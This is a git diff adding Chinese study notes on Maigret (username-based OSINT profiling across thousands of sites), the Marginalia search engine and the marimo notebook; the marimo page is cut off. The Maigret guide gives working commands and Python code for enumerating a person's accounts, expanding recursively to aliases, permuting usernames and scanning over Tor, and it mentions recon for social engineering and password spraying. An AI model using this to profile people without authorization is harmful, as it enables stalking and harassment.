+| 第 4 天 | 读仓库 `data` 目录站点 JSON 结构，了解 `--submit` 如何加自定义内网站点 |
+
+---
+
+## 小结
+
+Maigret 把 OSINT 里**最枯燥的用户名枚举**工业化：站点规则库 + 异步 HTTP + 可选解析与递归 + 多格式报告 + Python API。它不会替代法律合规判断，也无法突破登录墙，但在合法、授权的开源情报场景里，能省下大量手工拼 URL 的时间。
+
+记住三个旋钮：**扫哪些站**（Top 500 / `-a` / `--tags`）、**挖多深**（解析与递归 / `--parse`）、**怎么交付**（`--html` 或库里的 `ids_data`）。
+
+---
+
+## 参考资料
+
+- 仓库：[github.com/soxoj/maigret](https://github.com/soxoj/maigret)
+- 文档：[maigret.readthedocs.io](https://maigret.readthedocs.io/)
+- 试用与用法：[maigret.dev](https://maigret.dev/)
+- PyPI：[pypi.org/project/maigret](https://pypi.org/project/maigret/)
+- 前身：[Sherlock](https://github.com/sherlock-project/sherlock)
diff --git a/src/content/docs/projects/maigret.md b/src/content/docs/projects/maigret.md
new file mode 100644
index 000000000..b3ccba4f9
--- /dev/null
+++ b/src/content/docs/projects/maigret.md
@@ -0,0 +1,323 @@
+---
+title: Maigret — 仅凭用户名跨站 OSINT 画像收集
+来源: https://github.com/soxoj/maigret
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Maigret**（[soxoj/maigret](https://github.com/soxoj/maigret)，PyPI 包名 `maigret`）是一个 Python OSINT 工具：你只给一个**用户名（或别名）**，它会在数千个网站的公开 URL 模式里批量探测「这个昵称是否已注册」，并从命中页面的 HTML / 开放接口里**抽取个人资料、外链账号、ID** 等元数据，最后汇总成可下载的报告。
+
+日常类比：
+
+- **电话簿翻页 vs 全网搜昵称**：老式 OSINT 像在一本厚电话簿里按姓氏查号；Maigret 像雇了一支**并行跑腿队**——同时去 GitHub、Reddit、摄影站、论坛、各国社交站问「有没有叫 `johndoe` 的公开主页」，谁回「有」，就把那页的公开信息抄回来。
+- **侦探的「化名档案」**：真实调查里，嫌疑人可能用同一网名在不同平台活动。Maigret 做的是**化名关联**：不碰密码、不破解登录，只在**无需 API Key 的公开页面**上比对「用户名是否存在」并收集页面上已经写明的简介、头像链接、@ 其他账号等线索。
+- **Sherlock 的加强版**：Maigret _fork_ 自著名的 [Sherlock](https://github.com/sherlock-project/sherlock) 项目，但扩展了站点库（3000+）、资料解析、递归搜索、标签过滤、Web UI、多格式报告，以及可选的 AI 摘要（`--ai`）。
+
+最小上手：
+
+```bash
+# 安装（需要 Python 3.10+，官方推荐 3.11）
+pip install maigret
+
+# 默认：在流量排名前 500 的站点上搜一个用户名
+maigret johndoe
+
+# 生成 HTML 报告到当前目录
+maigret johndoe --html --folderoutput ./reports
+```
+
+终端会实时打印进度：哪些站「确认存在账号」、HTTP 状态、从页面解析出的字段摘要。
+
+## 为什么重要
+
+Maigret 解决的是 OSINT 工作流里**最枯燥、最易漏**的一环：手工在几十个站点拼 URL、看 404 还是个人页。
+
+不理解它，下面场景很难高效落地：
+
+- **开源情报（OSINT）与背景调查**：记者、威胁情报分析师、招聘背调（须合法授权）常需把**同一化名**在不同平台的公开足迹拼起来；手工复制粘贴 URL 极易漏站、漏字段。
+- **红队 / 渗透测试的信息收集阶段**：在拿到目标常用昵称后，快速枚举**公开攻击面**（哪些站暴露了真实姓名、邮箱片段、其他 ID），为后续社工或密码喷洒提供上下文——注意必须在**授权范围**内使用。
+- **与 API 型 OSINT 工具的互补**：很多商业数据聚合依赖付费 API；Maigret 走的是**直接请求公开网页 + 站点规则库**，不强制 API Key，适合离线脚本、气隙环境或预算有限的个人研究。
+- **可嵌入自动化流水线**：CLI 只是薄封装，底层是 `async` Python API，可塞进 FastAPI 服务、Jupyter、定时任务，与 [[gitleaks]]、[[ansible]] 等工具链并列而非替代。
+
+> **法律与伦理边界（必读）**  
+> 官方文档明确：工具仅供**教育及合法用途**。GDPR、CCPA 及各地个人信息保护法规对「收集、存储、处理个人数据」有严格要求。  
+> 你只能在你有权调查的目标上使用；禁止用于骚扰、跟踪、未经授权的监控或任何违法活动。作者不对滥用负责。
+
+## 核心概念
+
+Maigret 的架构可以拆成 **六层**，理解后就能选对参数、控制扫描范围。
+
+### 1. 站点数据库（Site Database）
+
+每个站点在 JSON 数据库里是一条 **MaigretSite** 规则，通常包含：
+
+| 字段含义 | 作用 |
+|----------|------|
+| URL 模板 | 如 `https://github.com/{username}`，把用户名代入即得待检测 URL |
+| 存在性检测 | 通过 HTTP 状态码、页面关键词、正则等判断「该用户名是否已被占用」 |
+| `usernameClaimed` / `usernameUnclaimed` | 维护者自测用的「已知存在 / 已知不存在」样本账号 |
+| **tags** | 分类标签：`photo`、`dating`、`us`、`ru` 等，供 `--tags` 过滤 |
+
+默认扫描 **Top 500**（按流量排序）；`-a` / `--all-sites` 启用全部 3000+ 站点，耗时会显著上升。
+
+### 2. 异步并发检查（Async Checking）
+
+核心函数 `maigret_search`（或底层 `maigret.checking.maigret`）用 **asyncio** 同时向大量站点发 HTTP 请求，受 `max_connections`（默认约 100）、`timeout`、`retries` 约束。  
+这就像快递站同时派出 100 个骑手，而不是一个一个敲门。
+
+### 3. 资料解析（Profile Parsing）
+
+开启 `is_parsing_enabled=True`（CLI 默认对许多场景开启解析）时，会调用 **socid_extractor** 一类逻辑，从命中页面抽取：
+
+- 简介、位置、注册时间等文本字段  
+- 指向其他平台的链接 → 可能触发**递归搜索**  
+- 平台特有 ID（如 `gaia_id`、`vk_id`，见 `--id-type`）
+
+### 4. 递归搜索（Recursive Search）
+
+在 A 站个人页发现「我的 Twitter：@othername」，Maigret 可把 `othername` **自动加入待搜队列**（默认开启，可用 `--no-recursion` 关闭）。  
+类比：读完一张名片后，按名片上的第二个电话号码继续查。
+
+### 5. 标签与范围控制（Tags & Scope）
+
+缩小面、换场景时常用：
+
+```bash
+# 只查带 photo、dating 标签的站
+maigret alice --tags photo,dating
+
+# 只查标记为美国的站
+maigret alice --tags us
+
+# 只查单个站点条目
+maigret alice --site GitHub
+
+# 限制为最快的 100 个站
+maigret alice --top-sites 100
+```
+
+### 6. 报告与导出（Reports）
+
+支持 **HTML、PDF、CSV、JSON、NDJSON、TXT、XMind 8、交互式 Graph（D3）** 等。  
+`--parse URL` 模式则反向：给一个已知主页 URL，先解析出用户名/ID，再展开搜索。
+
+可选 **`--ai`**：把内部 Markdown 报告发给 OpenAI 兼容的 Chat Completions API，在终端流式输出一段调查摘要（需自行配置 API 端点与密钥）。
+
+### 7. 代理、Tor 与 I2P
+
+与 CLI 对应的库参数：`proxy`、`tor_proxy`、`i2p_proxy`，用于访问 `.onion` / `.i2p` 条目或绕过区域性封锁。  
+部署时需本地已运行 Tor SOCKS（常见 `socks5://127.0.0.1:9050`）。
+
+### 8. Web 界面
+
+```bash
+maigret --web 5000
+# 浏览器打开 http://127.0.0.1:5000
+```
+
+提供搜索表单、结果关系图、账号表格、一键下载各格式报告——适合不想记 CLI 旗标的交互式探索。
+
+### 9. 维护者工具：`--self-check` 与 `--submit`
+
+- `--self-check`：用数据库里的 claimed/unclaimed 样本批量验证规则是否仍准确，适合 fork 后维护私有站点库。  
+- `--submit URL`：对未知站点做半自动分析，询问是否写入本地数据库。
+
+---
+
+## 实践案例
+
+### 案例 1：CLI 批量搜号 + 多格式报告
+
+适合第一次摸底某个化名：
+
+```bash
+mkdir -p ~/osint-reports && cd ~/osint-reports
+
+# 同时搜三个相关用户名，输出 HTML + JSON，结果分文件夹存放
+maigret alice bob charlie \
+  --html \
+  --json simple \
+  --folderoutput ./out \
+  --top-sites 200
+
+# 从已有主页反查：解析 Twitter/X 公开页，并递归搜发现的 ID
+maigret --parse https://twitter.com/example --html
+```
+
+**参数说明**：
+
+- 多个用户名用空格分隔，一次跑完比开三个终端省事。  
+- `--folderoutput` 为每个用户名建子目录，避免报告互相覆盖。  
+- `--parse` 适合「你已经有一条线索 URL，想自动扩线」。
+
+### 案例 2：Python 库嵌入 — 最小异步搜索
+
+官方推荐在自有工具里直接 `import`，不必 `subprocess` 调 CLI：
+
+```python
+import asyncio
+import logging
+
+from maigret import search as maigret_search
+from maigret.sites import MaigretDatabase
+
+logging.basicConfig(level=logging.INFO)
+logger = logging.getLogger("maigret")
+
+async def main():
+  db = MaigretDatabase()
+  await db.load_from_file()  # 加载内置站点库
+  sites = db.ranked_sites_dict(top=100)  # 等价于 CLI 的 top 100
+
+  results = await maigret_search(
+      username="soxoj",
+      site_dict=sites,
+      logger=logger,
+      timeout=30,
+      is_parsing_enabled=True,  # 填充 result["ids_data"]
+  )
+
+  for site_name, result in results.items():
+      if result["status"].is_found():
+          print(site_name, result["url_user"])
+          # 解析出的额外字段
+          if result.get("ids_data"):
+              print("  ids:", result["ids_data"])
+
+asyncio.run(main())
+```
+
+要点：
+
+- `maigret_search` 是 **async** 函数；在 FastAPI、aiohttp 等已有事件循环的环境里应 `await`，不要嵌套 `asyncio.run`。  
+- 返回字典的每个条目含 `status`、`url_user`、`http_status`、`rank`、`ids_data` 等，用 `status.is_found()` 过滤命中。
+
+### 案例 3：在已有服务里封装 + 代理
+
+```python
+from maigret import search as maigret_search
+from maigret.sites import MaigretDatabase
+
+db = MaigretDatabase()
+# 仅 photo 类站点，等价 CLI --tags photo
+sites = db.ranked_sites_dict(top=500, tags=["photo"])
+
+async def check_username(username: str) -> dict[str, str]:
+    results = await maigret_search(
+        username=username,
+        site_dict=sites,
+        logger=logger,
+        proxy="socks5://127.0.0.1:1080",
+        tor_proxy="socks5://127.0.0.1:9050",
+        timeout=45,
+        max_connections=50,
+    )
+    return {
+        name: r["url_user"]
+        for name, r in results.items()
+        if r["status"].is_found()
+    }
+```
+
+适合：内网 OSINT 面板、工单系统「一键查昵称」按钮、与 SIEM 联动的 enrichment 插件。
+
+### 案例 4：用户名变体（`--permute`）
+
+当你只有真名或邮箱前缀，猜测可能在用的昵称时：
+
+```bash
+# 从 "john" 和 "doe" 生成 johndoe、john.doe、j_doe 等变体并全部搜索
+maigret john doe --permute --html
+```
+
+这对「目标习惯用多种格式注册」的场景比单字符串搜索覆盖面更大。
+
+---
+
+## 与相近工具对比
+
+| 工具 | 定位 | 与 Maigret 的关系 |
+|------|------|-------------------|
+| **Sherlock** | 经典用户名枚举 | Maigret 的前身；站点数、解析、报告较弱 |
+| **Holehe** | 主要查**邮箱**是否在各站注册 | 输入维度不同，可互补 |
+| **Social Analyzer** | 多引擎用户名/邮箱分析 | 更重 UI 与规则组合 |
+| **Maltego** | 商业链路图 OSINT | 图形化强、商业授权；Maigret 适合脚本化批量 |
+
+实践上常见组合：**Maigret 广撒网枚举** → 人工或 AI 读 HTML 报告 → 高价值账号再用浏览器深挖。
+
+---
+
+## 性能与误报控制
+
+- **默认 Top 500 是平衡点**：全量 `-a` 可能跑数十分钟并触发大量 CAPTCHA / 限速；先用 `--top-sites` 或 `--tags` 缩小范围。  
+- **`--self-check --auto-disable`**：自动禁用当前产生假阳性的站点条目，适合长期跑批前自维护。  
+- **超时 `--timeout`**：网络差时适当加大；过大则拖慢整体 wall time。  
+- **`--no-recursion`**：递归会指数扩线，调查面不明朗时先关掉，确认主干化名后再开。  
+- **关键词高亮 `--keywords python rust`**：页面正文也含这些词时额外标记，帮助从海量命中里筛「技术向账号」。
+
+---
+
+## 安装方式补充
+
+除 `pip install maigret` 外，官方还支持：
+
+```bash
+# 从源码
+git clone https://github.com/soxoj/maigret
+cd maigret
+pip install .
+
+# Docker（见仓库 wiki / CI 配置，镜像名以 upstream 为准）
+docker run -it --rm soxoj/maigret maigret --help
+```
+
+无本地 Python 时，[maigret.dev](https://maigret.dev/) 提供**浏览器内受限试用**（约 Top 100 站、固定安全参数），适合体验流程再决定是否自建环境。
+
+---
+
+## 常见问题
+
+**Q：为什么有些站显示找到，点进去却是空页？**  
+A：站点改版、区域 CDN 差异或反爬策略会导致规则过期。向维护者提 issue，或用 `--self-check` / `--submit` 更新本地库。
+
+**Q：需要登录才能看的资料能抓到吗？**  
+A：不能。Maigret 只处理**公开 URL** 可访问时的页面；私密账号不会被判定为有效命中（除非站点错误地把私密页返回成 200）。
+
+**Q：和 [[playwright]] 等浏览器自动化有何区别？**  
+A：Playwright 驱动真实浏览器做功能测试；Maigret 是**大规模、轻量 HTTP + 规则库**的 OSINT 扫描器，不做通用 UI 自动化，但在「按用户名拼 URL 批量探测」这一垂直场景更高效。
+
+**Q：`--ai` 会把数据发到哪？**  
+A：发到你配置的 OpenAI 兼容 API 端点。敏感调查应在**自建模型 / 内网推理**或离线总结，勿把未脱敏报告发给第三方公有云。
+
+---
+
+## 学习路径建议
+
+1. **第 1 天**：`pip install maigret`，对自己控制的**测试小号**跑 `maigret <name> --html`，打开报告熟悉字段。  
+2. **第 2 天**：试 `--tags`、`--top-sites`、`--parse URL`，理解范围与递归。  
+3. **第 3 天**：用案例 2 的 Python 片段把结果写进 JSON 文件或 SQLite。  
+4. **第 4 天**：读 upstream `data/sites.json` 结构，尝试 `--submit` 加一条内部论坛规则。  
+5. **持续**：关注 [Maigret 文档](https://maigret.readthedocs.io/) 与 [用法页](https://maigret.dev/docs/usage/) 的版本更新；维护者社区在 GitHub Discussions。
+
+---
+
+## 小结
+
+Maigret 把「凭用户名查公开账号」这件事**工业化**了：站点规则库 + 异步并发 + 可选解析与递归 + 多格式报告 + Python API。它不会替代法律合规判断，也不会魔法般突破登录墙，但在**合法 OSINT 枚举**场景里，能省下大量手工拼 URL 的时间。
+
+记住三个旋钮即可上手：**扫哪些站**（默认 500 / `-a` / `--tags`）、**挖多深**（递归与 `--parse`）、**怎么交付**（`--html` / 库函数返回的 `ids_data`）。
+
+---
+
+## 参考资料
+
+- 项目仓库：[github.com/soxoj/maigret](https://github.com/soxoj/maigret)
+- 官方文档：[maigret.readthedocs.io](https://maigret.readthedocs.io/)
+- 用法与 Web 试用：[maigret.dev](https://maigret.dev/)
+- PyPI：[pypi.org/project/maigret](https://pypi.org/project/maigret/)
+- 库集成指南：[Library usage](https://maigret.readthedocs.io/en/stable/library-usage.html)
+- 前身项目：[Sherlock](https://github.com/sherlock-project/sherlock)
diff --git a/src/content/docs/projects/marginalia-search-engine.md b/src/content/docs/projects/marginalia-search-engine.md
new file mode 100644
index 000000000..f71fa2713
--- /dev/null
+++ b/src/content/docs/projects/marginalia-search-engine.md
@@ -0,0 +1,207 @@
+---
+title: Marginalia Search Engine — 零基础学习笔记
+来源: https://search.marginalia.nu/
+日期: 2026-06-13
+分类: 后端 API
+子分类: Web 后端
+provenance: pipeline-v3
+---
+
+# Marginalia Search Engine — 零基础学习笔记
+
+## 一、什么是 Marginalia Search？
+
+想象一下：互联网是一座巨大的城市。Google 和 Bing 就像是城中心的几座超级商场——商品齐全、灯光明亮，但它们只把最热门、最赚钱的店铺放在显眼位置。那些藏在小巷子里的手工咖啡馆、独立书店、个人博客，几乎没人能找得到。
+
+Marginalia Search 就是专门为这些"小巷里的店铺"而建的搜索引擎。它由瑞典开发者 Viktor Lofgren 独立开发运营，是一个开源的、非商业的替代搜索引擎。它的核心使命就一句话：**让那些被主流搜索引擎忽略的小网站、老网站、非商业网站重新被人看到。**
+
+关键数据：
+- 语言：Java（后端）+ HTML（前端）
+- 许可证：AGPL 3.0
+- Star：1.8k+（GitHub）
+- 月运营成本：约 200 美元
+- 资助来源：捐款、欧盟 NGI 基金
+
+## 二、核心概念
+
+### 2.1 传统检索 vs 自然语言搜索
+
+搜索引擎发展有两个方向：
+
+| 方向 | 例子 | 特点 |
+|------|------|------|
+| 传统信息检索（IR） | Marginalia、早期 Google | 返回原始网页链接，用户自己判断 |
+| 自然语言搜索（NLP） | ChatGPT、Perplexity | 直接给你一段总结好的答案 |
+
+Marginalia 选择坚守**传统信息检索**。为什么？因为它认为：越追求"像人一样回答问题"，搜索结果就越不"人"——算法替用户做了太多选择，反而让小众内容更难被发现。
+
+类比：传统检索就像给你一张地图，你自己找路；自然语言搜索就像有个导游直接带你去某个店，但你永远不知道旁边还有多少好店。
+
+### 2.2 搜索多样性的重要性
+
+目前全球绝大多数"替代搜索引擎"实际上背后用的都是 Google 或 Bing 的 API。这意味着：
+
+- 真正的搜索多样性几乎不存在
+- 美国的文化偏见主导了全球搜索结果
+- 信息审查可以轻易通过控制一两个上游实现
+
+Marginalia 的目标不是取代 Google，而是成为一份"少数派报告"——保持它们诚实。
+
+### 2.3 爬虫与索引架构
+
+Marginalia 的系统由以下几个 Docker 容器组成：
+
+```
+┌─────────────┐     ┌──────────────┐     ┌─────────────┐
+│  Query Service │──▶│ Index Nodes  │────▶│  MariaDB DB  │
+│  (端口 8080)   │     │ (Node 1,2,...) │     │              │
+└─────────────┘     └──────────────┘     └─────────────┘
+        ▲                       ▲
+        │                       │
+┌─────────────┐     ┌──────────────┐
+│ Control      │     │ Crawler      │
+│ Service      │     │ (数据采集)    │
+│ (端口 8081)   │     └──────────────┘
+└─────────────┘
+```
+
+- **Index Node（索引节点）**：每个域名被分配到一个固定节点（node affinity），保证同一域的数据存在同一个地方
+- **Query Service（查询服务）**：无状态服务，解析用户查询并向索引节点发起请求
+- **Control Service（控制面板）**：管理界面，负责启动爬虫、添加域名等操作
+- **Crawler（爬虫）**：自主爬取网页，构建索引数据
+
+## 三、爬虫如何工作？
+
+爬虫的工作流程分三步：
+
+1. **播种（Bootstrapping）**：手动输入一批初始域名，告诉系统"先去这些地方看看"
+2. **爬取（Crawling）**：从已知页面出发，沿着超链接不断发现新页面，最多每个站点爬 5 小时
+3. **处理与加载（Processing & Loading）**：将抓到的网页提取文本、建立倒排索引，存入索引节点
+
+版本采用日历版本号，例如 `24.10.0` 表示 2024 年 10 月抓取的数据。每 2-3 个月数据就会变旧，因为很多链接会失效。
+
+## 四、使用示例
+
+### 示例 1：通过 API 搜索（JSON 格式）
+
+Marginalia 提供 REST API，可以用 curl 直接调用：
+
+```bash
+curl -H 'Accept: application/json' \
+  'http://localhost:8080/search?q=marginalia&count=5'
+```
+
+参数说明：
+- `q`：搜索关键词（必填）
+- `count`：返回结果数量
+- `set`：使用的排名集（ranking set）
+
+返回的 JSON 结果大致结构如下：
+
+```json
+{
+  "results": [
+    {
+      "title": "Marginalia Search",
+      "url": "https://search.marginalia.nu/",
+      "snippet": "Search the small, old and weird web..."
+    }
+  ],
+  "total": 1234
+}
+```
+
+### 示例 2：配置反向代理（nginx）
+
+如果你要用 nginx 做反向代理，需要添加 `X-Public: 1` 头来防止内部 API 暴露：
+
+```nginx
+server {
+    listen 80;
+    server_name search.example.com;
+
+    location / {
+        proxy_pass http://localhost:8080;
+        proxy_set_header X-Public 1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Real-IP $remote_addr;
+    }
+}
+```
+
+注意：`X-Public: 1` 这个头很关键。没有它，请求只能访问 `/public` 前缀的接口；有了它，才能正常访问搜索接口。这是 Marginalia 的安全设计——防止误配置导致后台管理接口暴露在公网上。
+
+### 示例 3：添加新域名到索引
+
+通过控制面板的 Web 界面添加域名：
+
+```
+导航路径: Domains → Add Domains
+
+表单字段:
+  - Domain List: 输入要爬取的域名列表（一行一个）
+    例如:
+    example.com
+    blog.personal-site.org
+    wiki.small-project.net
+
+  - Node Affinity: 留空则自动分配到下一个可用节点
+```
+
+也可以通过 API 方式添加（伪代码示意）：
+
+```
+POST /control/domains/add
+Content-Type: application/x-www-form-urlencoded
+
+domain_list=example.com&blog.personal-site.org&node_affinity=
+```
+
+## 五、Marginalia 的设计哲学
+
+### 5.1 "你不去建，它就不存在"
+
+Marginalia 的核心信念是：不要等别人来修复互联网的问题，自己动手建就好。不需要风投、不需要旧金山地址、不需要任何人批准。互联网上的一切都是有人建出来的——如果你想要什么存在，就去建它。
+
+### 5.2 低成本运营
+
+Marginalia 的月运营成本约 200 美元，这意味着即使资金完全断流，它也能维持基本运营。这种经济模型让它真正独立——没有贷款、没有投资人、没有任何附加条件。
+
+### 5.3 隐私优先
+
+- 不收集任何个人信息
+- 不使用 Cookie（除了必要的功能型 Cookie）
+- IP 日志最多保留 24 小时
+- 不向第三方分享任何数据
+
+## 六、技术栈一览
+
+| 组件 | 技术 |
+|------|------|
+| 后端语言 | Java（50%）+ HTML（49%） |
+| 构建工具 | Gradle |
+| 部署方式 | Docker Compose |
+| 数据库 | MariaDB（存储域名信息等辅助数据） |
+| 反向代理 | Traefik（可替换为 nginx） |
+| 许可证 | AGPL 3.0 |
+| 文档站点 | Hugo |
+
+## 七、总结
+
+Marginalia Search 是一个有理想主义的搜索引擎项目。它不做 AI、不做广告、不追踪用户，只做一件事：**帮人们找到那些被主流搜索引擎遗忘的网站。**
+
+对于学习者来说，理解 Marginalia 的关键在于理解它与传统搜索引擎的根本区别：
+
+1. **目的不同**：不是最大化点击量，而是最大化发现多样性
+2. **架构不同**：自建爬虫 + 自建索引，不依赖任何商业 API
+3. **经济模式不同**：低成本运营 + 捐赠/资助，而非广告驱动
+
+这或许不能取代 Google，但它证明了：在互联网上，小而美的替代方案不仅存在，而且值得被看见。
+
+## 八、延伸阅读
+
+- 项目源码：<https://git.marginalia.nu/>
+- 项目文档：<https://docs.marginalia.nu/>
+- 项目 Discord：<https://chat.marginalia.nu/>
+- 开发者博客：<https://www.marginalia.nu/tags/search-engine/>
+- 隐私声明：<https://about.marginalia-search.com/article/privacy/>
diff --git a/src/content/docs/projects/marimo.md b/src/content/docs/projects/marimo.md
new file mode 100644
index 000000000..3ca540873
--- /dev/null
+++ b/src/content/docs/projects/marimo.md
@@ -0,0 +1,256 @@
+---
+title: marimo — 反应式 Python 笔记本
+来源: https://github.com/marimo-team/marimo
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**marimo** 是开源的**反应式（reactive）Python 笔记本**：你改一行代码、拖一下滑块，所有依赖它的 cell 会自动重跑（或标记为 stale），代码与输出始终同步。笔记本存成纯 `.py` 文件——Git 友好、可当脚本执行、可一键部署成 Web 应用；内置 SQL cell、交互控件、包管理与 AI 辅助，被社区形容为「下一代 Jupyter + Streamlit 的合体」。
+
+日常类比：
+
+> 传统 [[jupyter-notebook]] 像**手工记账本**：你在第 3 页写了 `x = 10`，第 7 页用了 `x`，后来把第 3 页改成 `x = 99` 却忘了重跑第 7 页——报表里仍显示旧结果，这就是著名的「隐藏状态（hidden state）」。
+> marimo 像**带公式的 Excel 表**：改 A1，所有引用 A1 的格子自动重算；删掉定义某变量的 cell，那个变量从内存里消失，引用它的 cell 也会跟着更新或变 stale。你专注写逻辑，**依赖关系由引擎维护**。
+
+最小上手：
+
+```bash
+pip install "marimo[recommended]"   # 或 uv add "marimo[recommended]"
+marimo tutorial intro               # 浏览器打开入门教程
+marimo edit my_analysis.py          # 创建/编辑笔记本（纯 Python 文件）
+```
+
+## 为什么重要
+
+不理解 marimo，很难解释这几年 Notebook 工具链的几条主线：
+
+- 为什么有人抱怨 Jupyter「跑过哪格、顺序如何」决定变量状态，而 marimo 用**静态分析 + DAG** 定执行顺序
+- 为什么 [[streamlit]] 要写 `st.slider` + callback，而 marimo 的 `mo.ui.slider` **绑全局变量即 reactive**，无需回调
+- 为什么 `.ipynb` 的 JSON diff 噪声大，而 marimo 的 `.py` 可以直接 `pytest`、CI 里 `python notebook.py`
+- 为什么同一文件既能 `marimo edit` 探索，又能 `marimo run` 给业务方当只读 App
+- 为什么 [[duckdb]]、Polars、Pandas 在 marimo 里常和 **SQL cell** 混排——查完 SQL 结果仍是 Python DataFrame，继续下游分析
+
+## 核心概念
+
+marimo 把交互计算拆成几层，记牢就不迷路：
+
+### 1. Cell（单元格）与纯 Python 文件
+
+每个 marimo 笔记本是一个 `.py` 文件，由多个 **cell** 组成。cell 就是普通 Python 代码块，**没有** `%` 魔法、没有特殊 reactive 语法——marimo 在后台**静态分析**每个 cell 定义/读取哪些**全局变量名**，据此建 **有向无环图（DAG）**。
+
+| 特性 | Jupyter Notebook | marimo |
+|------|------------------|--------|
+| 存储格式 | `.ipynb`（JSON） | `.py`（纯 Python） |
+| 执行顺序 | 通常按你「跑过」的顺序 | 由变量依赖决定，与页面排版无关 |
+| 隐藏状态 | 常见（改上格不重跑下格） | 设计上消除 |
+| 全局变量 | 任意 cell 可覆盖 | **每个全局名只能由一个 cell 定义** |
+| 删 cell | 变量可能仍留在 kernel | 变量从内存删除，依赖 cell 更新 |
+
+### 2. Reactive execution（反应式执行）
+
+**运行一个 cell → marimo 自动运行所有读取该 cell 所定义变量的下游 cell**（或在 expensive 模式下标记为 stale）。页面上的先后顺序不重要：你可以把 helper 函数写在文件底部，只要依赖图正确就会在对的时刻执行。
+
+重要约束（官方 reactivity 指南强调）：
+
+- marimo 跟踪的是**变量名**的定义与引用，**不**跟踪运行时对象突变（in-place mutation）
+- 若要对 DataFrame 做 `df["col"] = ...` 这类原地修改，**应在定义 `df` 的同一个 cell 里完成**，或拆成「定义 → 变换 → 新变量名」
+
+可视化依赖：编辑器里可打开 dataflow 视图；CLI 有 `marimo tutorial dataflow`。
+
+### 3. Output（输出）
+
+每个 cell 的**最后一个表达式**会渲染为输出（类似 Jupyter 的 rich display）。可用 `import marimo as mo` 生成 Markdown、图表、布局：
+
+- `mo.md("...")` / `mo.md(f"Hello {name}")` — 动态 Markdown
+- `mo.hstack` / `mo.vstack` / `mo.ui.tabs` — 布局
+- 任意 Python 对象（Pandas DataFrame、Altair 图等）
+
+### 4. Interactive UI（`marimo.ui`）
+
+在 `mo.ui` 里创建 slider、dropdown、table、file upload 等，**必须赋给全局变量**。用户在浏览器里交互 → 新值回传 Python → **所有引用该元素的 cell 自动重跑**，通过 `.value` 读取。
+
+无 callback 模式：这是 marimo 与 Streamlit 心智模型最大的不同之一。
+
+### 5. SQL cells
+
+内置 SQL：对 DataFrame、DuckDB、Postgres、CSV 等写查询，引擎（默认 DuckDB）执行后结果回到 Python。SQL 与 Python cell 同样参与依赖图——适合 EDA 里「SQL 筛一批 → Python 画图」流水线。
+
+### 6. 三种运行形态
+
+| 命令 | 作用 |
+|------|------|
+| `marimo edit foo.py` | 编辑模式：完整代码 + reactive |
+| `marimo run foo.py` | App 模式：隐藏源码，只展示输出与控件 |
+| `python foo.py` | 脚本模式：命令行批处理，可传 CLI 参数 |
+
+还可 `marimo convert old.ipynb -o foo.py` 从 Jupyter 迁移；`marimo export` 导出 HTML / IPYNB / Markdown。
+
+### 7. 包管理与 reproducibility
+
+支持 import 时自动装包、PEP 723 风格在文件里声明依赖、隔离 venv sandbox。配合 deterministic 执行顺序，笔记本更接近「可复现实验记录」而非一次性草稿。
+
+## 实践案例
+
+### 案例 1：最小 reactive 笔记本（变量依赖）
+
+下面三个 cell 在 `.py` 文件里由 marimo 的 cell 分隔符组织（编辑器会自动生成；此处用注释表示逻辑）：
+
+```python
+# Cell 1 — 定义数据源
+import marimo as mo
+import pandas as pd
+
+raw = pd.DataFrame({
+    "product": ["A", "B", "C", "A", "B"],
+    "sales": [120, 85, 40, 150, 90],
+})
+raw
+```
+
+```python
+# Cell 2 — 读取 raw，做聚合（依赖 Cell 1）
+summary = raw.groupby("product", as_index=False)["sales"].sum()
+summary
+```
+
+```python
+# Cell 3 — 展示 Markdown 摘要（依赖 summary）
+total = summary["sales"].sum()
+mo.md(f"""
+## 销售汇总
+共 **{len(summary)}** 个品类，总销售额 **{total:,}** 元。
+""")
+```
+
+当你把 Cell 1 的某行 `sales` 改掉并重跑，Cell 2、3 **无需手动点**——marimo 沿 DAG 自动刷新。在 Jupyter 里你必须记得「从上往下 Run All」或逐格重跑，否则 Cell 3 可能仍显示旧总额。
+
+### 案例 2：交互控件 + reactive（无 callback）
+
+用 slider 过滤 DataFrame，拖滑块即重算图表数据：
+
+```python
+import marimo as mo
+import altair as alt
+import pandas as pd
+
+df = pd.DataFrame({
+    "x": range(100),
+    "y": [i * 0.5 + (i % 7) for i in range(100)],
+})
+
+threshold = mo.ui.slider(0, 99, value=50, label="最小 x")
+threshold
+```
+
+```python
+# 读取 threshold.value — 用户拖 slider 时本 cell 自动重跑
+filtered = df[df["x"] >= threshold.value]
+chart = (
+    alt.Chart(filtered)
+    .mark_circle()
+    .encode(x="x:Q", y="y:Q")
+    .properties(width=400, height=250, title=f"x ≥ {threshold.value}")
+)
+chart
+```
+
+`threshold` 必须是**全局变量**；若控件只在函数局部变量里，marimo 无法同步 UI 状态。运行时等价于：`marimo edit dashboard.py` 探索，`marimo run dashboard.py` 给同事只看图表和滑块。
+
+### 案例 3：SQL cell 与 Python 混排
+
+安装 `marimo[recommended]` 后，在编辑器插入 SQL cell（或通过 `@mo.sql` 装饰器风格，视版本而定）。概念上：
+
+```python
+import marimo as mo
+import pandas as pd
+
+orders = pd.read_csv("orders.csv")
+```
+
+SQL cell（伪代码示意 — 实际在 UI 选 SQL 类型）：
+
+```sql
+SELECT product, SUM(amount) AS revenue
+FROM orders
+WHERE amount > 100
+GROUP BY product
+ORDER BY revenue DESC
+```
+
+```python
+# revenue 为 SQL cell 暴露的 DataFrame 变量名
+mo.ui.table(revenue)
+```
+
+SQL 结果作为命名变量进入 Python 依赖图，下游绘图 cell 在 SQL 或 `orders` 变化时同样 reactive 更新。
+
+### 案例 4：从 Jupyter 迁移与当脚本跑
+
+```bash
+# Jupyter → marimo
+marimo convert analysis.ipynb -o analysis.py
+marimo edit analysis.py
+
+# 关闭「打开即 autorun」（部分迁移 notebook 不适合启动全跑）
+marimo config show    # 找到 marimo.toml
+# [runtime] auto_instantiate = false
+
+# CI：当脚本执行
+python analysis.py
+
+# 对外分享
+marimo run analysis.py --host 0.0.0.0 --port 8080
+```
+
+## 安装与工具链
+
+**推荐安装（解锁 SQL、AI、格式化等）：**
+
+```bash
+pip install "marimo[recommended]"
